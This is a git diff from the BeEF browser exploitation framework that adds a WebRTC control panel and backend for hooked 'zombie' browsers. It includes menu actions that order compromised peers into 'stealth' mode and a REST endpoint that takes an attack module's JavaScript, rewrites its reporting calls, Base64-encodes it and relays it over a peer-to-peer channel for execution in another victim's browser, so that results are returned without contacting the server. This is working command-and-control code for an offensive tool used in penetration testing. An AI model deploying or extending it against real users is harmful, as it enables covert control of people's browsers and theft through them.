--- /dev/null +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js @@ -0,0 +1,330 @@ +// +// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +/* + * The RTC tab panel for the selected zombie browser. + * Loaded in /ui/panel/index.html + */ +ZombieTab_Rtc = function(zombie) { + var zombie_id = beefwui.get_hb_id(zombie.session); + + // The status bar. + var commands_statusbar = new Beef_StatusBar('network-bbar-zombie-'+zombie.session); + // RESTful API token + var token = beefwui.get_rest_token(); + + /* + * The panel that displays all identified network services grouped by host + ********************************************/ + var rtc_events_panel_store = new Ext.ux.data.PagingJsonStore({ + storeId: 'rtc-events-store-zombie-'+zombie.session, + proxy: new Ext.data.HttpProxy({ + url: '/api/webrtc/events/'+zombie_id+'?token='+token, + method: 'GET' + }), + remoteSort: false, + autoDestroy: true, + autoLoad: false, + root: 'events', + fields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at'], + sortInfo: {field: 'id', direction: 'ASC'} + }); + + var req_pagesize = 50; + + var rtc_events_panel_bbar = new Ext.PagingToolbar({ + pageSize: req_pagesize, + store: rtc_events_panel_store, + displayInfo: true, + displayMsg: 'Displaying RTC events {0} - {1} of {2}', + emptyMsg: 'No events to display' + }); + + var rtc_events_panel_grid = new Ext.grid.GridPanel({ + id: 'rtc-events-grid-zombie-'+zombie.session, + store: rtc_events_panel_store, + bbar: rtc_events_panel_bbar, + border: false, + loadMask: {msg:'Loading events...'}, + + viewConfig: { + forceFit: true + }, + + view: new Ext.grid.GridView({ + forceFit: true, + emptyText: "No events", + enableRowBody:true + }), + + columns: [ + {header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true}, + {header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true}, + {header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){ + if (value === zombie_id) { + return $jEncoder.encoder.encodeForHTML(value) + " (selected)"; + } else { + // return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value) + ")"; + return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value)['ip'] + ")"; + } + }}, + {header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, + {header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, + {header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}} + ], + + listeners: { + contextmenu: function(e, element, options) { + e.preventDefault(); + }, + containercontextmenu: function(view, e) { + e.preventDefault(); + }, + rowcontextmenu: function(grid, rowIndex, e) { + e.preventDefault(); + grid.getSelectionModel().selectRow(rowIndex); + if (!!grid.rowCtxMenu) { + grid.rowCtxMenu.destroy(); + } + var record = grid.selModel.getSelected(); + if (record.json.status==="Connected") { + grid.rowCtxMenu = new Ext.menu.Menu({ + items: [ + { + text: "Command Peer to Stealth", + handler: function() { + if (zombie_id === record.json.hb_id) { + var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token(); + Ext.Ajax.request({ + url: url, + method: 'POST', + headers: {'Content-Type': 'application/json; charset=UTF-8'}, + jsonData: { + 'from': record.json.hb_id, + 'to': record.json.target_id, + 'message': "!gostealth" + } + }); + } else { + var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token(); + Ext.Ajax.request({ + url: url, + method: 'POST', + headers: {'Content-Type': 'application/json; charset=UTF-8'}, + jsonData: { + 'from': record.json.target_id, + 'to': record.json.hb_id, + 'message': "!gostealth" + } + }); + } + } + },{ + text: "Execute Command Module via RTC", + handler: function() { + var url = "/api/webrtc/cmdexec?token=" + beefwui.get_rest_token(); + var cmd_id = prompt("Enter command module ID:"); + var cmd_opts = prompt("Parameters:"); + if (cmd_opts == "") { + cmd_opts = "[]"; + } + cmd_opts = JSON.parse(cmd_opts); + if (!cmd_id || cmd_id == "") { + return; + } + if (zombie_id === record.json.hb_id) { + Ext.Ajax.request({ + url: url, + method: 'POST', + headers: {'Content-Type': 'application/json; charset=UTF-8'}, + jsonData: { + 'from': record.json.hb_id, + 'to': record.json.target_id, + 'cmdid': cmd_id, + 'options': cmd_opts + } + }); + } else { + Ext.Ajax.request({ + url: url, + method: 'POST', + headers: {'Content-Type': 'application/json; charset=UTF-8'}, + jsonData: { + 'from': record.json.target_id, + 'to': record.json.hb_id, + 'cmdid': cmd_id, + 'options': cmd_opts + } + }); + } + } + } + ] + }); + grid.rowCtxMenu.showAt(e.getXY()); + } else if (record.json.status==="Stealthed!!") { + grid.rowCtxMenu = new Ext.menu.Menu({ + items: [ + { + text: "Command Peer to un-stealth", + handler: function() { + if (zombie_id === record.json.hb_id) { + var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token(); + Ext.Ajax.request({ + url: url, + method: 'POST', + headers: {'Content-Type': 'application/json; charset=UTF-8'}, + jsonData: { + 'from': record.json.hb_id, + 'to': record.json.target_id, + 'message': "!endstealth" + } + }); + } + } + },{ + text: "Execute Command Module via RTC", + handler: function() { + var url = "/api/webrtc/cmdexec?token=" + beefwui.get_rest_token(); + var cmd_id = prompt("Enter command module ID:"); + var cmd_opts = prompt("Parameters:"); + if (cmd_opts == "") { + cmd_opts = "[]"; + } + cmd_opts = JSON.parse(cmd_opts); + if (!cmd_id || cmd_id == "") { + return; + } + Ext.Ajax.request({ + url: url, + method: 'POST', + headers: {'Content-Type': 'application/json; charset=UTF-8'}, + jsonData: { + 'from': record.json.hb_id, + 'to': record.json.target_id, + 'cmdid': cmd_id, + 'options': cmd_opts + } + }); + } + } + ] + }); + grid.rowCtxMenu.showAt(e.getXY()); + } + }, + afterrender: function(datagrid) { + datagrid.store.reload({params: {nonce: Ext.get("nonce").dom.value}}); + } + } + + }); + + var rtc_events_panel = new Ext.Panel({ + id: 'rtc-events-host-panel-zombie-'+zombie.session, + title: 'Peers', + items:[rtc_events_panel_grid], + layout: 'fit', + listeners: { + activate: function(hosts_panel) { + rtc_events_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); + } + } + }); + + /* + * The panel that displays all command modules executed via RTC + ********************************************/ + var rtc_moduleevents_panel_store = new Ext.ux.data.PagingJsonStore({ + storeId: 'rtc-moduleevents-store-zombie-'+zombie.session, + proxy: new Ext.data.HttpProxy({ + url: '/api/webrtc/cmdevents/'+zombie_id+'?token='+token, + method: 'GET' + }), + remoteSort: false, + autoDestroy: true, + autoLoad: false, + root: 'events', + fields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at', 'mod'], + sortInfo: {field: 'id', direction: 'ASC'} + }); + + var rtc_moduleevents_panel_bbar = new Ext.PagingToolbar({ + pageSize: req_pagesize, + store: rtc_moduleevents_panel_store, + displayInfo: true, + displayMsg: 'Displaying RTC command events {0} - {1} of {2}', + emptyMsg: 'No events to display' + }); + + var rtc_moduleevents_panel_grid = new Ext.grid.GridPanel({ + id: 'rtc-moduleevents-grid-zombie-'+zombie.session, + store: rtc_moduleevents_panel_store, + bbar: rtc_moduleevents_panel_bbar, + border: false, + loadMask: {msg:'Loading events...'}, + + viewConfig: { + forceFit: true + }, + + view: new Ext.grid.GridView({ + forceFit: true, + emptyText: "No events", + enableRowBody:true + }), + + columns: [ + {header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true}, + {header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true}, + {header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){ + if (value === zombie_id) { + return $jEncoder.encoder.encodeForHTML(value) + " (selected)"; + } else { + return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value)['ip'] + ")"; + } + }}, + {header: 'Module', width: 10, sortable: true, dataIndex: 'mod', renderer: function(value){ + return $jEncoder.encoder.encodeForHTML(value); + }}, + {header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, + {header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, + {header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}} + ] + }); + + var rtc_moduleevents_panel = new Ext.Panel({ + id: 'rtc-moduleevents-host-panel-zombie-'+zombie.session, + title: 'Command module results', + items:[rtc_moduleevents_panel_grid], + layout: 'fit', + listeners: { + activate: function(hosts_panel) { + rtc_moduleevents_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); + } + } + }); + /* + * The Network tab constructor + ********************************************/ + ZombieTab_Rtc.superclass.constructor.call(this, { + id: 'zombie-rtc-tab-zombie-'+zombie.session, + title: 'WebRTC', + activeTab: 0, + viewConfig: { + forceFit: true, + stripRows: true, + type: 'fit' + }, + items: [rtc_events_panel,rtc_moduleevents_panel], + bbar: commands_statusbar, + listeners: { + } + }); + +}; + +Ext.extend(ZombieTab_Rtc, Ext.TabPanel, {}); diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js index 405ef8171..ad14d98eb 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js +++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js @@ -11,6 +11,7 @@ zombiesTreeList = function(id) { var title = id.slice(0,1).toUpperCase() + id.slice(1); + zombiesTreeList.superclass.constructor.call(this, { id:'zombie-tree-'+id, region:'west', @@ -56,6 +57,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { 'sub-branch' : 'domain', 'distributed' : false }, + //store the list of online hooked browsers in an array online_hooked_browsers_array: new Array, @@ -76,6 +78,15 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { id: 'xssrays_hooked_domain', text: 'Launch XssRays on Hooked Domain', iconCls: 'zombie-tree-ctxMenu-xssrays' + },{ + id: 'rtc_caller', + text: 'Set as WebRTC Caller', + iconCls: 'zombie-tree-ctxMenu-rtc' + },{ + id: 'rtc_receiver', + text: 'Set as WebRTC Receiver and GO', + iconCls: 'zombie-tree-ctxMenu-rtc', + activated: false },{ xtype: 'menuseparator' },{ @@ -88,7 +99,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { listeners: { itemclick: function(item, object) { var hb_id = this.contextNode.id.split('zombie-online-')[1]; - var hb_id_off = this.contextNode.id.split('zombie-offline-')[1]; + var hb_id_off = this.contextNode.id.split('zombie-offline-')[1]; switch (item.id) { case 'use_as_proxy': Ext.Ajax.request({ @@ -104,19 +115,36 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { params: 'hb_id=' + escape(hb_id) }); break; + case 'rtc_caller': + beefwui.rtc_caller = hb_id; + break; + case 'rtc_receiver': + beefwui.rtc_receiver = hb_id; + var url = "/api/webrtc/go?token=" + beefwui.get_rest_token(); + Ext.Ajax.request({ + url: url, + method: 'POST', + headers: {'Content-Type': 'application/json; charset=UTF-8'}, + jsonData: { + 'from': beefwui.get_hb_id(beefwui.rtc_caller), + 'to': beefwui.get_hb_id(beefwui.rtc_receiver), + 'verbose': true + } + }); + break; case 'delete_zombie': - var token = beefwui.get_rest_token(); - var hid = ''; - if (typeof hb_id_off === 'undefined'){ - hid=hb_id; - }else{ - hid=hb_id_off; - } - var url = "/api/hooks/" + escape(hid) + "/delete?token=" + token; - Ext.Ajax.request({ - url: url, - method: 'GET' - }); + var token = beefwui.get_rest_token(); + var hid = ''; + if (typeof hb_id_off === 'undefined'){ + hid=hb_id; + }else{ + hid=hb_id_off; + } + var url = "/api/hooks/" + escape(hid) + "/delete?token=" + token; + Ext.Ajax.request({ + url: url, + method: 'GET' + }); break; } } @@ -126,6 +154,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { listeners: { //creates a new hooked browser tab when a hooked browser is clicked click: function(node, e) { + globalnode = node; if(!node.leaf) return; mainPanel.remove(mainPanel.getComponent('current-browser')); @@ -140,8 +169,28 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { if(!node.leaf) return; node.select(); + // if (typeof(beefwui.rtc_caller) === 'undefined') { + // node.getOwnerTree().contextMenu.items.add({ + // id: 'rtc_caller', + // text: 'Set as WebRTC Caller', + // iconCls: 'zombie-tree-ctxMenu-xssrays' + // }); + // } var c = node.getOwnerTree().contextMenu; c.contextNode = node; + if (typeof(beefwui.rtc_caller) === 'undefined') { + c.items.get('rtc_receiver').disable(); + } else if (beefwui.rtc_caller === node.id.substr(-80)) { + c.items.get('rtc_receiver').disable(); + } else { + c.items.get('rtc_receiver').enable(); + } + + // c.items['rtc_receiver'].disable(); + // c.add({ + // id: 'rtc_caller', + // text: 'Set as WebRTC Caller', + // iconCls: 'zombie-tree-ctxMenu-xssrays'}); c.showAt(event.getXY()); }, diff --git a/extensions/webrtc/config.yaml b/extensions/webrtc/config.yaml index 391c7b165..61f91f23c 100644 --- a/extensions/webrtc/config.yaml +++ b/extensions/webrtc/config.yaml @@ -7,7 +7,7 @@ beef: extension: webrtc: name: 'WebRTC' - enable: false + enable: true authors: ["xntrik"] stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]' # stunservers: '["stun:stun.l.google.com:19302"]' diff --git a/extensions/webrtc/extension.rb b/extensions/webrtc/extension.rb index 14585a343..f8a63f3ca 100644 --- a/extensions/webrtc/extension.rb +++ b/extensions/webrtc/extension.rb @@ -19,6 +19,8 @@ end require 'extensions/webrtc/models/rtcsignal' require 'extensions/webrtc/models/rtcmanage' +require 'extensions/webrtc/models/rtcstatus' +require 'extensions/webrtc/models/rtcmodulestatus' require 'extensions/webrtc/api/hook' require 'extensions/webrtc/handlers' require 'extensions/webrtc/api' diff --git a/extensions/webrtc/handlers.rb b/extensions/webrtc/handlers.rb index da5885674..ed0bf4052 100644 --- a/extensions/webrtc/handlers.rb +++ b/extensions/webrtc/handlers.rb @@ -88,6 +88,74 @@ module BeEF # Writes the event into the BeEF Logger BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}") + + # Perform logic depending on message (updating database) + puts "message = '" + message + "'" + if (message == "ICE Status: connected") + # Find existing status message + stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil + unless stat.nil? + stat.status = "Connected" + stat.updated_at = Time.now + stat.save + end + stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil + unless stat2.nil? + stat2.status = "Connected" + stat2.updated_at = Time.now + stat2.save + end + elsif (message.end_with?("disconnected")) + stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil + unless stat.nil? + stat.status = "Disconnected" + stat.updated_at = Time.now + stat.save + end + stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil + unless stat2.nil? + stat2.status = "Disconnected" + stat2.updated_at = Time.now + stat2.save + end + elsif (message == "Stayin alive") + stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil + unless stat.nil? + stat.status = "Stealthed!!" + stat.updated_at = Time.now + stat.save + end + stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil + unless stat2.nil? + stat2.status = "Peer-controlled stealth-mode" + stat2.updated_at = Time.now + stat2.save + end + elsif (message == "Coming out of stealth...") + stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil + unless stat.nil? + stat.status = "Connected" + stat.updated_at = Time.now + stat.save + end + stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil + unless stat2.nil? + stat2.status = "Connected" + stat2.updated_at = Time.now + stat2.save + end + elsif (message.start_with?("execcmd")) + mod = /\(\/command\/(.*)\.js\)/.match(message)[1] + resp = /Result:.(.*)/.match(message)[1] + stat = BeEF::Core::Models::Rtcmodulestatus.new(:hooked_browser_id => zombie_db.id, + :target_hooked_browser_id => peer_zombie_db.id, + :command_module_id => mod, + :status => resp, + :created_at => Time.now, + :updated_at => Time.now) + stat.save + end + end end diff --git a/extensions/webrtc/models/rtcmodulestatus.rb b/extensions/webrtc/models/rtcmodulestatus.rb new file mode 100644 index 000000000..eb9e89bc1 --- /dev/null +++ b/extensions/webrtc/models/rtcmodulestatus.rb @@ -0,0 +1,47 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +module BeEF +module Core +module Models + # + # Table stores the webrtc status information + # This includes things like connection status, and executed modules etc + # + + + class Rtcmodulestatus + + include DataMapper::Resource + + storage_names[:default] = 'extension_webrtc_rtcmodulestatus' + + property :id, Serial + + # The hooked browser id + property :hooked_browser_id, Text, :lazy => false + + # The hooked browser's IP + # property :hooked_browser_ip, Text, :lazy => false + + # The target hooked browser id + property :target_hooked_browser_id, Text, :lazy => false + + # The command module ID + property :command_module_id, Text, :lazy => false + + # The status field + property :status, Text, :lazy => true + + # Timestamps + property :created_at, DateTime + property :updated_at, DateTime + + end + +end +end +end diff --git a/extensions/webrtc/models/rtcstatus.rb b/extensions/webrtc/models/rtcstatus.rb new file mode 100644 index 000000000..1ded40502 --- /dev/null +++ b/extensions/webrtc/models/rtcstatus.rb @@ -0,0 +1,47 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +module BeEF +module Core +module Models + # + # Table stores the webrtc status information + # This includes things like connection status, and executed modules etc + # + + + class Rtcstatus + + include DataMapper::Resource + + storage_names[:default] = 'extension_webrtc_rtcstatus' + + property :id, Serial + + # The hooked browser id + property :hooked_browser_id, Text, :lazy => false + + # The hooked browser's IP + # property :hooked_browser_ip, Text, :lazy => false + + # The target hooked browser id + property :target_hooked_browser_id, Text, :lazy => false + + # The target hooked browser's IP + # property :target_hooked_browser_ip, Text, :lazy => false + + # The status field + property :status, Text, :lazy => true + + # Timestamps + property :created_at, DateTime + property :updated_at, DateTime + + end + +end +end +end diff --git a/extensions/webrtc/rest/webrtc.rb b/extensions/webrtc/rest/webrtc.rb index de68a17b9..da48915f1 100644 --- a/extensions/webrtc/rest/webrtc.rb +++ b/extensions/webrtc/rest/webrtc.rb @@ -7,7 +7,10 @@ module BeEF module Extension module WebRTC - # This class handles the routing of RESTful API requests that manage the WebRTC Extension + require 'base64' + + # This class handles the routing of RESTful API requests that manage the + # WebRTC Extension class WebRTCRest < BeEF::Core::Router::Router # Filters out bad requests before performing any routing @@ -26,10 +29,16 @@ module BeEF # # @note Initiate two browsers to establish a WebRTC PeerConnection - # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log - # for success messages. For instance: Event: Browser:1 received message from Browser:2: ICE Status: connected + # Return success = true if the message has been queued - as this is + # asynchronous, you will have to monitor BeEFs event log for success + # messages. For instance: Event: Browser:1 received message from + # Browser:2: ICE Status: connected # - # Input must be specified in JSON format + # Alternatively, the new rtcstatus model also records events during + # RTC connectivity + # + # Input must be specified in JSON format (the verbose option is no + # longer required as client-debugging uses the beef.debug) # # +++ Example: +++ #POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 @@ -82,6 +91,18 @@ module BeEF result['success'] = true end end + r = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => fromhb.to_i, + :target_hooked_browser_id => tohb.to_i, + :status => "Initiating..", + :created_at => Time.now, + :updated_at => Time.now) + r.save + r2 = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => tohb.to_i, + :target_hooked_browser_id => fromhb.to_i, + :status => "Initiating..", + :created_at => Time.now, + :updated_at => Time.now) + r2.save else result['success'] = false end @@ -130,6 +151,107 @@ module BeEF end end + # + # @note Get the events from the RTCstatus model of a particular browser + # Return JSON with events_count and an array of events + # + # +++ Example: +++ + #GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + #Host: 127.0.0.1:3000 + # + #===response (snip)=== + #HTTP/1.1 200 OK + #Content-Type: application/json; charset=UTF-8 + # + #{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]} + # + # +++ Example with curl +++ + # curl -H "Content-type: application/json; charset=UTF-8" -v + # -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 + get '/events/:id' do + begin + id = params[:id] + + events = BeEF::Core::Models::Rtcstatus.all(:hooked_browser_id => id) + + events_json = [] + count = events.length + + events.each do |event| + events_json << { + 'id' => event.id.to_i, + 'hb_id' => event.hooked_browser_id.to_i, + 'target_id' => event.target_hooked_browser_id.to_i, + 'status' => event.status.to_s, + 'created_at' => event.created_at.to_s, + 'updated_at' => event.updated_at.to_s + } + end + { + 'events_count' => count, + 'events' => events_json + }.to_json if not events_json.empty? + + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while queuing status message for #{id} (#{e.message})" + halt 500 + end + end + + # + # @note Get the events from the RTCModuleStatus model of a particular browser + # Return JSON with events_count and an array of events associated with command module execute + # + # +++ Example: +++ + #GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + #Host: 127.0.0.1:3000 + # + #===response (snip)=== + #HTTP/1.1 200 OK + #Content-Type: application/json; charset=UTF-8 + # + #{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]} + # + # +++ Example with curl +++ + # curl -H "Content-type: application/json; charset=UTF-8" -v + # -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 + get '/cmdevents/:id' do + begin + id = params[:id] + + events = BeEF::Core::Models::Rtcmodulestatus.all(:hooked_browser_id => id) + + events_json = [] + count = events.length + + events.each do |event| + events_json << { + 'id' => event.id.to_i, + 'hb_id' => event.hooked_browser_id.to_i, + 'target_id' => event.target_hooked_browser_id.to_i, + 'status' => event.status.to_s, + 'created_at' => event.created_at.to_s, + 'updated_at' => event.updated_at.to_s, + 'mod' => event.command_module_id + } + end + { + 'events_count' => count, + 'events' => events_json + }.to_json if not events_json.empty? + + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while queuing status message for #{id} (#{e.message})" + halt 500 + end + end + # # @note Instruct a browser to send an RTC DataChannel message to one of its peers # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log @@ -170,6 +292,21 @@ module BeEF tohb = body['to'] message = body['message'] + if message === "!gostealth" + stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => fromhb.to_i, :target_hooked_browser_id => tohb.to_i) || nil + unless stat.nil? + stat.status = "Selected browser has commanded peer to enter stealth" + stat.updated_at = Time.now + stat.save + end + stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => tohb.to_i, :target_hooked_browser_id => fromhb.to_i) || nil + unless stat2.nil? + stat2.status = "Peer has commanded selected browser to enter stealth" + stat2.updated_at = Time.now + stat2.save + end + end + result = {} unless [fromhb,tohb,message].include?(nil) @@ -185,12 +322,137 @@ module BeEF print_error e.message halt 400 rescue StandardError => e - print_error "Internal error while queuing message for #{id} (#{e.message})" + print_error "Internal error while queuing message (#{e.message})" halt 500 end end + # + # @note Instruct a browser to send an RTC DataChannel message to one of its peers + # In this instance, the message is a Base64d encoded JS command + # which has the beef.net.send statements re-written + # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log + # for success messages, IF ANY. + # Commands are written back to the rtcmodulestatus model + # + # Input must be specified in JSON format + # + # +++ Example: +++ + #POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + #Host: 127.0.0.1:3000 + #Content-Type: application/json; charset=UTF-8 + # + #{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]} + #===response (snip)=== + #HTTP/1.1 200 OK + #Content-Type: application/json; charset=UTF-8 + # + #{"success":"true"} + # + # +++ Example with curl +++ + # curl -H "Content-type: application/json; charset=UTF-8" -v + # -X POST -d '{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}' + # http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348 + # + post '/cmdexec' do + begin + body = JSON.parse(request.body.read) + fromhb = body['from'] + tohb = body['to'] + cmdid = body['cmdid'] + cmdoptions = body['options'] if body['options'] + cmdoptions = nil if cmdoptions.eql?("") + + result = {} + + unless [fromhb,tohb,cmdid].include?(nil) + # Find the module, modify it, send it to be executed on the tohb + + # Validate the command module by ID + command_module = BeEF::Core::Models::CommandModule.first( + :id => cmdid) + error 404 if command_module.nil? + error 404 if command_module.path.nil? + + # Get the key of the module based on the ID + key = BeEF::Module.get_key_by_database_id(cmdid) + error 404 if key.nil? + + # Try to load the module + BeEF::Module.hard_load(key) + + # Now the module is hard loaded, find it's object and get it + command_module = BeEF::Core::Command.const_get( + BeEF::Core::Configuration.instance.get( + "beef.module.#{key}.class" + ) + ).new(key) + + # Check for command options + if not cmdoptions.nil? + cmddata = cmdoptions + else + cmddata = [] + end + + # Get path of source JS + f = command_module.path+'command.js' + error 404 if not File.exists? f + + # Read file + @eruby = Erubis::FastEruby.new(File.read(f)) + + # Parse in the supplied parameters + cc = BeEF::Core::CommandContext.new + cc['command_url'] = command_module.default_command_url + cc['command_id'] = command_module.command_id + cmddata.each{|v| + cc[v['name']] = v['value'] + } + # Evalute supplied options + @output = @eruby.evaluate(cc) + + # Gsub the output, replacing all beef.net.send commands + # This needs to occur because we want this JS to send messages + # back to the peer browser + @output = @output.gsub(/beef\.net\.send\((.*)\);?/) {|s| + tmpout = "// beef.net.send removed\n" + tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd (" + cmdurl = $1.split(',') + tmpout += cmdurl[0].gsub(/\s|"|'/, '') + tmpout += ") Result: ' + " + tmpout += cmdurl[2] + tmpout += ");" + tmpout + } + + # Prepend the B64 version of the string with @ + # The client JS receives the rtc message, detects the @ + # and knows to decode it before execution + msg = "@" + Base64.strict_encode64(@output) + + # Finally queue the message in the RTC queue for submission + # from the from browser to the to browser + BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, + msg) + + result = {} + result['success'] = true + result.to_json + else + result = {} + result['success'] = false + result.to_json + end + + rescue InvalidParamError => e + print_error e.message + halt 400 + end + end + + # Raised when invalid JSON input is passed to an /api/webrtc handler. class InvalidJsonError < StandardError diff --git a/test/integration/tc_webrtc_rest.rb b/test/integration/tc_webrtc_rest.rb index 69b6c4c71..8fa1bc792 100644 --- a/test/integration/tc_webrtc_rest.rb +++ b/test/integration/tc_webrtc_rest.rb @@ -40,7 +40,7 @@ class TC_WebRTCRest < Test::Unit::TestCase @@victim1 = BeefTest.new_victim @@victim2 = BeefTest.new_victim - puts "WebRTC Tests: Sleeping for 8 - waiting for 2 browsers to get hooked" + # puts "WebRTC Tests beginning" sleep 8.0 # Fetch last online browsers' ids @@ -95,7 +95,7 @@ class TC_WebRTCRest < Test::Unit::TestCase result = JSON.parse(rest_response.body) assert_equal true, result["success"] - sleep 20.0 + sleep 30.0 rest_response = nil assert_nothing_raised do @@ -237,7 +237,13 @@ class TC_WebRTCRest < Test::Unit::TestCase return true if hb[1]["id"].eql?(@@victim2id) } end - + + end + + def test_5_webrtc_execcmd # assumes test 2 has run + return if not @@activated + + # end